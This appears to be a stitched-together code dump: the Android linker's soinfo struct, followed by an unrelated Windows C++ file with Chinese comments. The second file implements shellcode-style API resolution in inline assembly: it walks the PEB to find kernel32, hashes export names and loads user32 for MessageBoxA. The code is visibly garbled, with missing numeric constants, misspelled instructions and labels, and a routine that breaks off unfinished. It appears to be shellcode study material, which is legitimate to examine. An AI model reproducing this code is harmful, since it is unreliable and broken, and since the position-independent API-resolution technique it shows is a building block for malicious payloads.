struct soinfo {

 public:

  char name[SOINFO_NAME_LEN];

  const Elf32_Phdr* phdr;

  size_t phnum;

  Elf32_Addr entry;

  Elf32_Addr base;

  unsigned size;

  uint32_t unused1;  // DO NOT USE, maintained for compatibility.

  Elf32_Dyn* dynamic;

  uint32_t unused2; // DO NOT USE, maintained for compatibility

  uint32_t unused3; // DO NOT USE, maintained for compatibility

  soinfo* next;

  unsigned flags;

  const char* strtab;

  Elf32_Sym* symtab;

  size_t nbucket;

  size_t nchain;

  unsigned* bucket;

  unsigned* chain;

  unsigned* plt_got;

  Elf32_Rel* plt_rel;

  size_t plt_rel_count;

  Elf32_Rel* rel;

  size_t rel_count;

  linker_function_t* preinit_array;

  size_t preinit_array_count;

  linker_function_t* init_array;

  size_t init_array_count;

  linker_function_t* fini_array;

  size_t fini_array_count;

  linker_function_t init_func;

  linker_function_t fini_func;

#if defined(ANDROID_ARM_LINKER)

  // ARM EABI section used for stack unwinding.

  unsigned* ARM_exidx;

  size_t ARM_exidx_count;

#elif defined(ANDROID_MIPS_LINKER)

  unsigned mips_symtabno;

  unsigned mips_local_gotno;

  unsigned mips_gotsym;

#endif

  size_t ref_count;

  link_map_t link_map;

  bool constructors_called;

  // When you read a virtual address from the ELF file, add this

  // value to get the corresponding address in the process' address space.

  Elf32_Addr load_bias;

  bool has_text_relocations;

  bool has_DT_SYMBOLIC;

  void CallConstructors();

  void CallDestructors();

  void CallPreInitConstructors();

 private:

  void CallArray(const char* array_name, linker_function_t* functions, size_t count, bool reverse);

  void CallFunction(const char* function_name, linker_function_t function);

};

#include <IOSTREAM>

#include <WINDOWS.H>

using namespace std;

//GetProcAddress() 的汇编层实现

//MessageBoxA    GetHash--->0x1e380a6a

//ExitProcess    GetHash--->0x4fd18963

//LoadLibraryA   GetHash--->0x0c917432

DWORD GetHash(char *pFuncName)

{

    DWORD digest = ;

    while(*pFuncName)

    {

        digest = ((digest<<)|digest>>);

        digest += *pFuncName;

        pFuncName++;

    }

    return digest;

}

//在将hash压入栈中之前，注意先将增量标志位DF清零，

//当shellcode 是利用异常处理机制植入的时候，

//往往产生标志位的变化，使shellcode中的字符处理方向发生变化而发生错误

void Func()

{

    _asm{

    //    ;find base addr of kernel32.dll

        mov ebx , fs:[edx+0x30]  //ebx = addr of PEB

        mov ecx , [ebx+0x0c]     //Ldr

// typedef struct _PEB_LDR_DATA32

// {

//         ULONG Length;                                +0x00

//         BOOLEAN Initialized;                        +0x04

//         HANDLE SsHandle;                            +0x08

//         LIST_ENTRY InLoadOrderModuleList;            +0x0c        //按模块的加载顺序

//         LIST_ENTRY InMemoryOrderModuleList;            +0x14        //按模块在内存中的地址顺序

//         LIST_ENTRY InInitializationOrderModuleList;    +0x1c        //按初始化顺序

//         PVOID EntryInProgress;                        +0x24

// } PEB_LDR_DATA32, *PPEB_LDR_DATA32;

        mov ecx , [ecx+0x1c]         //ecx -->xxx.exe

        mov ebp , [ecx+0x08]         //ebp = addr of kernel32

    }

}

int main()

{

    _asm{

        CLD

        push 0x1e380a6a      //MessageBoxA

        push 0x4fd18963         //ExitProcess

        push 0x0c917432         //LoadLibraryA

        mov esi ,esp

        lea edi ,[esi-0x0c]

        //抬高栈顶

        xor ebx ,ebx

        sub esp ,0x04

        //?????

        //push a pointer to "user32" onto stack

        mov bx , 0x3233   //reset of ebx is null

        push ebx

        push 0x72657375

        push esp

        xor  edx , edx

        //find base addr of kernel32.dll

        mov ebx , fs:[edx+0x30]  //ebx = address of PEB

        mov ecx , [ebx+0x0c]     //ecx = pointer to loader data

        mov ecx , [ecx+0x1c]     //ecx = first entry in initialization order list

        mov ecx , [ecx]             //ecx = second entry in list (kernel32.dll)

        mov ebp , [ecx+0x08]     //ebp = base address of kernel32.dll

find_lib_function:

        lodsd                     //load next hash into al and increment esi

        cmp eax , 0x1e380a6a      //hash of MessageBoxA - trigger

                                  //LoadLibrary("user32")

        jne find_functions

        schg eax , ebp              //save current hash

        call [edi-0x08]              //LoadLibraryA

        xchg eax , ebp              //restore current hash, and update ebp

                                  //with base address of user32.dll

find_function:

        pushed                        //preserve registers

        mov eax , [ebp+0x3c]        //eax = start of PE header

        mov ecx , [ebp+eax+0x78]    //ecx = relative offset of export table

        add ecx , ebp                //ecx = absolute addr of export table

        mov ebx , [ecx+0x20]        //ebx = relative offset of name table

        add ebx , ebp                //ebx = absolute addr of name table

        xor edi , edi                //edi will count throght the function

next_function_loop:

        inc edi                        //increment function counter

        mov esi , [ebx+edi*]

        add esi , ebp

        cdq

hash_loop:

        movsx eax , byte ptr[esi]

        cmp al , ah

        jz compare_hsah

        ror edx ,

        add edx , eax

        inc esi

        jmp hash_loop

compare_hash:

        cmp edx , [esp+0x1c]

    }

    return ;

}